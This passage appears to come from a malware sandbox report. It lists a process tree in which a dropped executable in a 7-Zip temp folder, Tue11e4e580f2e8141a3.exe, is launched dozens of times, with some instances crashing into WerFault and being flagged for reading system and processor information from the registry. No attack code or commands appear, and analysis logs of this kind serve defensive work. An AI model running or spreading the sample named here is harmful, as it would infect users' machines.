C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵
- Executes dropped EXE
PID:5624
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵
- Executes dropped EXE
PID:2472
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵
- Executes dropped EXE
PID:4732
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵
- Executes dropped EXE
PID:2112
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵
- Executes dropped EXE
PID:5456
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵
- Executes dropped EXE
PID:3436
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵
- Executes dropped EXE
PID:3168
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵
- Executes dropped EXE
PID:3420
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵
- Executes dropped EXE
PID:1332
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵
- Executes dropped EXE
PID:980
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵
- Executes dropped EXE
PID:2936
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵
- Executes dropped EXE
PID:4408
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵
- Executes dropped EXE
PID:876
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵
- Executes dropped EXE
PID:5980 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5980 -s 287⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:6100
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵
- Executes dropped EXE
PID:2844
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:3068
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:2288
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:4984
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:2892
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:1488
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:3240
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:3768
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:4512
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5576
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:912
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5004
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5472
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5860
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:776
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:404
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:3496
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5328
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5568
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:3548
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5092
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5888
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5888 -s 287⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:1432
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5868
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:3912
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:2876
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:228
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:3264
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:2928
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5372
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:4268
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5368
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5208
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:3316
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:2792
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:800
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:2984
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5400
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:4528
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:3952
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5140
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:4344
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4344 -s 287⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:4948
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:1208
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:3948
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:2548
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5564
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:444
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5656
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5880
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:4872
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5920
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:1428
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:4520
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:4072
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5572
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:2216
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:4832
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:3780
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5888
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:2860
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:3528
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5008
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:4948
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:1360
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5776
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:4228
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5048
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:4116
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:4304
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4304 -s 287⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:2528
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5160
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5676
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:1464
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:1912
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:1000
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:2128
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:1940
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5024
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:3196
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:2016
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:4240
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5228
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5228 -s 287⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:2852
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5664
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5960
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:2268
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:2380
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5732
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:2528
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:3624
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:3628
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:1336
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:1352
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:1544
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:3448
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:4812
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5636
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:6120
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:4064
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:2852
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:3504
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:504
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:4104
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5444
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5332
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5520
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5952
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:1596
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:6028
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5632
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5432
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:3260
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:480
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe6⤵PID:5184
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5184 -s 287⤵
- Program crash
- Checks processor information in registry
